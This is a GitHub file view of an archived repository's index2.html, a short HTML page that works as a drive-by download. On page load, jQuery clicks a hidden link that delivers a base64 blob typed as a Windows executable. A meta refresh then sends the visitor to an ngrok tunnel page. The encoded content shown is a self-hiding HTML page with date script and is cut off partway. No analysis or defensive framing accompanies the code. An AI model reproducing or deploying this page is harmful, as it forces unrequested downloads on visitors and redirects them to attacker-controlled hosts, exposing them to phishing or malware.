This repository has been archived by the owner on Jan 31, 2023. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 120
/
index2.html
20 lines (18 loc) · 14.4 KB
/
index2.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<HTML>
<meta http-equiv="content-type" content="text/html;charset=utf-8" />
<HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html;charset=UTF-8"><META HTTP-EQUIV="Refresh" CONTENT="5; URL=https://70f01739a443.ngrok.io/win2.html"><TITLE></TITLE>
</HEAD>
<BODY>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js"></script>
<script>
$(document).ready(function() {
$('a#clickhere')[0].click();
});
</script>
</head>
<body>
<a id='clickhere' style="display:none"
href="data:application/application/x-msdownload;base64,PCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD4KPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJodHRwczovL21heGNkbi5ib290c3RyYXBjZG4uY29tL2Jvb3RzdHJhcC8zLjMuNi9jc3MvYm9vdHN0cmFwLm1pbi5jc3MiPgo8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEiOyBjaGFyc2V0PSJ1dGYtOCI+CjxzdHlsZT4KCkBpbXBvcnQgdXJsKGh0dHBzOi8vZm9udHMuZ29vZ2xlYXBpcy5jb20vY3NzP2ZhbWlseT1PcGVuK1NhbnM6bGlnaHQpOwoqIHsKICBwYWRkaW5nOiAwOwogIG1hcmdpbjogMDsKfQoKCiNyZWRpcmVjdCB7CiAgcGFkZGluZzoxNXB4OwogIG1hcmdpbi10b3A6MTBweDsKfQogaHRtbCB7IHZpc2liaWxpdHk6aGlkZGVuOwogCiAgfQoKCi5QYWdlMSB7CiAgei1pbmRleDogMjsKICBwb3NpdGlvbjogcmVsYXRpdmU7CiAgYmFja2dyb3VuZDogdXJsKCJodHRwczovL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yID0gbXlEYXRlLmdldEZ1bGxZZWFyKCk7CiAgICAgICAgdmFyIG1vbnRoQXJyID0gWyJqYW51YXJ5IiwgImZlYnJ1YXJ5IiwibWFyY2giLCAiYXByaWwiLCAibWF5IiwgImp1bmUiLCAianVseSIsICJhdWd1c3QiLCAic2VwdGVtYmVyIiwgIm9jdG9iZXIiLCAibm92ZW1iZXIiLCJkZWNlbWJlciJdOwogICAgICAgIG1vbnRoID0gbW9udGhBcnJbbW9udGhdOwogICAgICAgIAogICAgICAgIAogICAgICAgIC8vIEFycmF5IG9mIGRheXMuIAogICAgICAgIHZhciB3ZWVrZGF5ID0gWydzdW5kYXknLCAnbW9uZGF5JywgJ3R1ZXNkYXknLCAKICAgICAgICAgICAgJ3dlZG5lc2RheScsICd0aHVyc2RheScsICdmcmlkYXknLCAnc2F0dXJkYXknIAogICAgICAgIF07IAogICAgICAvLyAgZG9jdW1lbnQud3JpdGUoIlRvZGF5IGlzIDogIiArIHdlZWtkYXlbbXlEYXldKTsgCiAgICAgIC8vICBkb2N1bWVudC53cml0ZSgiPGJyLz4iKTsgCiAgICAgICAgCiAgICAgICAgLy8gZ2V0IGhvdXIgdmFsdWUuIAogICAgICAgIHZhciBob3VycyA9IG15RGF0ZS5nZXRIb3VycygpOyAKICAgICAgICB2YXIgYW1wbSA9IGhvdXJzID49IDEyID8gJ1BNJyA6ICdBTSc7IAogICAgICAgIGhvdXJzID0gaG91cnMgJSAxMjsgCiAgICAgICAgaG91cnMgPSBob3VycyA/IGhvdXJzIDogMTI7CiAgICAgICAgaG91cnMgPSBob3VycyA8IDEwID8gJzAnICsgaG91cnMgOiBob3VyczsgCiAgICAgICAgdmFyIG1pbnV0ZXMgPSBteURhdGUuZ2V0TWludXRlcygpOyAKICAgICAgICBtaW51dGVzID0gbWludXRlcyA8IDEwID8gJzAnICsgbWludXRlcyA6IG1pbnV0ZXM7IAogICAgICAgIHZhciBteVRpbWUgPSBob3VycyArICIgIiArIGFtcG0gKyAiIDogIiArIG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